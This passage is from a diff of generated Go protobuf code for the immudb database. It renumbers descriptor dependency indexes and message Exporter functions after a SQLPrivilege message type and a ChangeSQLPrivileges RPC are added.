immudb.schema.SQLQueryResult - 118, // 299: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 118, // 300: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 101, // 301: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 128, // 302: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 229, // [229:303] is the sub-list for method output_type - 155, // [155:229] is the sub-list for method input_type - 155, // [155:155] is the sub-list for extension type_name - 155, // [155:155] is the sub-list for extension extendee - 0, // [0:155] is the sub-list for field type_name + 1, // 132: immudb.schema.ChangePermissionRequest.action:type_name -> immudb.schema.PermissionAction + 1, // 133: immudb.schema.ChangeSQLPrivilegesRequest.action:type_name -> immudb.schema.PermissionAction + 70, // 134: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database + 110, // 135: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseInfo + 84, // 136: immudb.schema.DatabaseInfo.settings:type_name -> immudb.schema.DatabaseNullableSettings + 136, // 137: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 115, // 138: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 115, // 139: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 121, // 140: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 117, // 141: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 30, // 142: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 137, // 143: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 138, // 144: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 119, // 145: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 120, // 146: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 121, // 147: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 139, // 148: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 149: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 79, // 150: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 83, // 151: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 121, // 152: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 121, // 153: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 140, // 154: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 8, // 155: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 10, // 156: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 103, // 157: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest + 104, // 158: immudb.schema.ImmuService.ChangeSQLPrivileges:input_type -> immudb.schema.ChangeSQLPrivilegesRequest + 106, // 159: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest + 13, // 160: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig + 14, // 161: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig + 15, // 162: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest + 140, // 163: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty + 140, // 164: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty + 122, // 165: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest + 140, // 166: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty + 140, // 167: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty + 113, // 168: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest + 114, // 169: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest + 11, // 170: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest + 140, // 171: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty + 44, // 172: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest + 48, // 173: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest + 45, // 174: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest + 49, // 175: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 47, // 176: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest + 46, // 177: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest + 22, // 178: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest + 26, // 179: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest + 27, // 180: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix + 140, // 181: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty + 62, // 182: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest + 65, // 183: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest + 66, // 184: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest + 60, // 185: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest + 50, // 186: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest + 140, // 187: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty + 140, // 188: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty + 140, // 189: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty + 55, // 190: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest + 56, // 191: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest + 57, // 192: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest + 61, // 193: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest + 59, // 194: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest + 70, // 195: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database + 71, // 196: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings + 72, // 197: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest + 89, // 198: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest + 91, // 199: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest + 93, // 200: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest + 140, // 201: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty + 108, // 202: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 + 70, // 203: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database + 71, // 204: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings + 74, // 205: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest + 140, // 206: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty + 76, // 207: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest + 95, // 208: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest + 140, // 209: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty + 45, // 210: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest + 111, // 211: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk + 49, // 212: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest + 111, // 213: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk + 26, // 214: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest + 59, // 215: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest + 60, // 216: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest + 111, // 217: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk + 68, // 218: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest + 111, // 219: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk + 68, // 220: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest + 113, // 221: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest + 114, // 222: immudb.schema.ImmuService.UnarySQLQuery:input_type -> immudb.schema.SQLQueryRequest + 114, // 223: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest + 140, // 224: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty + 97, // 225: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table + 99, // 226: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest + 127, // 227: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest + 7, // 228: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList + 140, // 229: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty + 140, // 230: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty + 140, // 231: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty + 105, // 232: immudb.schema.ImmuService.ChangeSQLPrivileges:output_type -> immudb.schema.ChangeSQLPrivilegesResponse + 140, // 233: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty + 140, // 234: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty + 140, // 235: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty + 16, // 236: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse + 140, // 237: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty + 140, // 238: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty + 123, // 239: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse + 117, // 240: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx + 140, // 241: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty + 140, // 242: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty + 118, // 243: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult + 12, // 244: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse + 140, // 245: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty + 30, // 246: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader + 40, // 247: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx + 19, // 248: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry + 42, // 249: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry + 30, // 250: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader + 23, // 251: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries + 30, // 252: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader + 23, // 253: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries + 28, // 254: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount + 28, // 255: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount + 36, // 256: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx + 40, // 257: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx + 67, // 258: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList + 23, // 259: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries + 51, // 260: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse + 52, // 261: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse + 53, // 262: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse + 54, // 263: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState + 30, // 264: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader + 40, // 265: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx + 30, // 266: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader + 40, // 267: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx + 25, // 268: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries + 140, // 269: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty + 140, // 270: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty + 73, // 271: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse + 90, // 272: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse + 92, // 273: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse + 94, // 274: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse + 107, // 275: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse + 109, // 276: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 + 102, // 277: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply + 140, // 278: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty + 75, // 279: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse + 71, // 280: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings + 77, // 281: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse + 96, // 282: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse + 140, // 283: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty + 111, // 284: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk + 30, // 285: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader + 111, // 286: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk + 40, // 287: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx + 111, // 288: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk + 111, // 289: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk + 111, // 290: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk + 30, // 291: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader + 111, // 292: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk + 30, // 293: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader + 111, // 294: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk + 116, // 295: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult + 118, // 296: immudb.schema.ImmuService.UnarySQLQuery:output_type -> immudb.schema.SQLQueryResult + 118, // 297: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult + 118, // 298: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult + 118, // 299: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult + 101, // 300: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry + 128, // 301: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse + 228, // [228:302] is the sub-list for method output_type + 154, // [154:228] is the sub-list for method input_type + 154, // [154:154] is the sub-list for extension type_name + 154, // [154:154] is the sub-list for extension extendee + 0, // [0:154] is the sub-list for field type_name } func init() { file_schema_proto_init() } @@ -11312,8 +11300,20 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*Permission); i { + file_schema_proto_msgTypes[1].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*Permission); i { + case 0: + return &v.state + case 1: + return &v.sizeCache + case 2: + return &v.unknownFields + default: + return nil + } + } + file_schema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*User); i { case 0: return &v.state case 1: @@ -11324,8 +11324,8 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[2].Exporter = func(v interface{}, i int) interface{} { - switch v := v.(*User); i { + file_schema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + switch v := v.(*SQLPrivilege); i { case 0: return &v.state case 1: @@ -11336,7 +11336,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[3].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UserList); i { case 0: return &v.state @@ -11348,7 +11348,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[4].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*CreateUserRequest); i { case 0: return &v.state @@ -11360,7 +11360,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[5].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*UserRequest); i { case 0: return &v.state @@ -11372,7 +11372,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[6].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ChangePasswordRequest); i { case 0: return &v.state @@ -11384,7 +11384,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[7].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoginRequest); i { case 0: return &v.state @@ -11396,7 +11396,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[8].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LoginResponse); i { case 0: return &v.state @@ -11408,7 +11408,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[9].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*AuthConfig); i { case 0: return &v.state @@ -11420,7 +11420,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[10].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*MTLSConfig); i { case 0: return &v.state @@ -11432,7 +11432,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[11].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionRequest); i { case 0: return &v.state @@ -11444,7 +11444,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[12].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*OpenSessionResponse); i { case 0: return &v.state @@ -11456,7 +11456,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[13].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Precondition); i { case 0: return &v.state @@ -11468,7 +11468,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[14].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyValue); i { case 0: return &v.state @@ -11480,7 +11480,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[15].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Entry); i { case 0: return &v.state @@ -11492,7 +11492,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[16].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Reference); i { case 0: return &v.state @@ -11504,7 +11504,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[17].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Op); i { case 0: return &v.state @@ -11516,7 +11516,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[18].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ExecAllRequest); i { case 0: return &v.state @@ -11528,7 +11528,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[19].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Entries); i { case 0: return &v.state @@ -11540,7 +11540,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[20].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZEntry); i { case 0: return &v.state @@ -11552,7 +11552,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[21].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ZEntries); i { case 0: return &v.state @@ -11564,7 +11564,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[22].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ScanRequest); i { case 0: return &v.state @@ -11576,7 +11576,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[23].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyPrefix); i { case 0: return &v.state @@ -11588,7 +11588,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[24].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*EntryCount); i { case 0: return &v.state @@ -11600,7 +11600,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[25].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Signature); i { case 0: return &v.state @@ -11612,7 +11612,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[26].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxHeader); i { case 0: return &v.state @@ -11624,7 +11624,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[27].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxMetadata); i { case 0: return &v.state @@ -11636,7 +11636,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[28].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LinearProof); i { case 0: return &v.state @@ -11648,7 +11648,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[29].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*LinearAdvanceProof); i { case 0: return &v.state @@ -11660,7 +11660,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[30].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DualProof); i { case 0: return &v.state @@ -11672,7 +11672,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[31].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DualProofV2); i { case 0: return &v.state @@ -11684,7 +11684,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[32].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Tx); i { case 0: return &v.state @@ -11696,7 +11696,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[33].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*TxEntry); i { case 0: return &v.state @@ -11708,7 +11708,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[34].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KVMetadata); i { case 0: return &v.state @@ -11720,7 +11720,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[35].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*Expiration); i { case 0: return &v.state @@ -11732,7 +11732,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[36].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTx); i { case 0: return &v.state @@ -11744,7 +11744,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[37].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableTxV2); i { case 0: return &v.state @@ -11756,7 +11756,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[38].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableEntry); i { case 0: return &v.state @@ -11768,7 +11768,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[39].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*InclusionProof); i { case 0: return &v.state @@ -11780,7 +11780,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[40].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*SetRequest); i { case 0: return &v.state @@ -11792,7 +11792,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[41].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyRequest); i { case 0: return &v.state @@ -11804,7 +11804,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[42].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*KeyListRequest); i { case 0: return &v.state @@ -11816,7 +11816,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[43].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*DeleteKeysRequest); i { case 0: return &v.state @@ -11828,7 +11828,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[44].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableSetRequest); i { case 0: return &v.state @@ -11840,7 +11840,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[45].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*VerifiableGetRequest); i { case 0: return &v.state @@ -11852,7 +11852,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[46].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { switch v := v.(*ServerInfoRequest); i { case 0: return &v.state @@ -11864,7 +11864,7 @@ func file_schema_proto_init() { return nil } } - file_schema_proto_msgTypes[47].Exporter = func(v interface{}, i int) interface{} { + file_schema_proto_msgTypes[48].Exporter = func(v interface{}, i int) interface{} { 